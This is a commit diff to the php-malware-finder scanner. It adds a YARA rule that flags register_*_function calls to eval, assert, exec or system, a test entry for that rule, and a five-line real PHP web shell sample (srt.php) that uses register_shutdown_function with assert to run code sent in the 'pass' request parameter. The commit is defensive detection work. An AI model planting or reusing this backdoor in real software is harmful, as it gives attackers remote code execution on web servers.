diff options
| -rw-r--r-- | php-malware-finder/php.yar | 1 | ||||
| -rw-r--r-- | php-malware-finder/samples/real/srt.php | 5 | ||||
| -rwxr-xr-x | php-malware-finder/tests.sh | 1 |
3 files changed, 7 insertions, 0 deletions
diff --git a/php-malware-finder/php.yar b/php-malware-finder/php.yar index 8a08308..c3e115a 100644 --- a/php-malware-finder/php.yar +++ b/php-malware-finder/php.yar | |||
| @@ -91,6 +91,7 @@ rule DodgyPhp | |||
| 91 | $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes | 91 | $include = /include\s*\(\s*[^\.]+\.(png|jpg|gif|bmp)/ // Clever includes |
| 92 | $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_function|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase | 92 | $ini_get = /ini_(get|set|restore)\s*\(\s*['"](safe_mode|open_basedir|disable_function|safe_mode_exec_dir|safe_mode_include_dir|register_globals|allow_url_include)/ nocase |
| 93 | $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\(.+(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php | 93 | $pr = /(preg_replace(_callback)?|mb_ereg_replace|preg_filter)\s*\(.+(\/|\\x2f)(e|\\x65)['"]/ nocase // http://php.net/manual/en/function.preg-replace.php |
| 94 | $register_function = /register_[a-z]+_function\s*\(\s*['"]\s*(eval|assert|passthru|exec|include|system|shell_execute|`)/ // https://github.com/nbs-system/php-malware-finder/issues/41 | ||
| 94 | $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/ | 95 | $safemode_bypass = /\x00\/\.\.\/|LD_PRELOAD/ |
| 95 | $shellshock = /\(\)\s*{\s*:\s*;\s*}\s*;/ | 96 | $shellshock = /\(\)\s*{\s*:\s*;\s*}\s*;/ |
| 96 | $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase | 97 | $udp_dos = /fsockopen\s*\(\s*['"]udp:\/\// nocase |
diff --git a/php-malware-finder/samples/real/srt.php b/php-malware-finder/samples/real/srt.php new file mode 100644 index 0000000..ef02af2 --- /dev/null +++ b/php-malware-finder/samples/real/srt.php | |||
| @@ -0,0 +1,5 @@ | |||
| 1 | <?php | ||
| 2 | ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); | ||
| 3 | echo $_REQUEST['pass']; | ||
| 4 | ob_end_flush(); | ||
| 5 | ?> | ||
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index d362a14..a261199 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh | |||
| @@ -92,6 +92,7 @@ run_test real/sucuri_2014_04.php '0x67:$execution3:' | |||
| 92 | run_test real/novahot.php 'DodgyStrings' | 92 | run_test real/novahot.php 'DodgyStrings' |
| 93 | run_test real/guidtz.php '0x12d8:$non_printables:' | 93 | run_test real/guidtz.php '0x12d8:$non_printables:' |
| 94 | run_test real/ice.php 'double_var' | 94 | run_test real/ice.php 'double_var' |
| 95 | run_test real/srt.php '$register_function' | ||
| 95 | 96 | ||
| 96 | # Asp files | 97 | # Asp files |
| 97 | run_test_asp classic/cmdasp.asp 'DodgyStrings' | 98 | run_test_asp classic/cmdasp.asp 'DodgyStrings' |
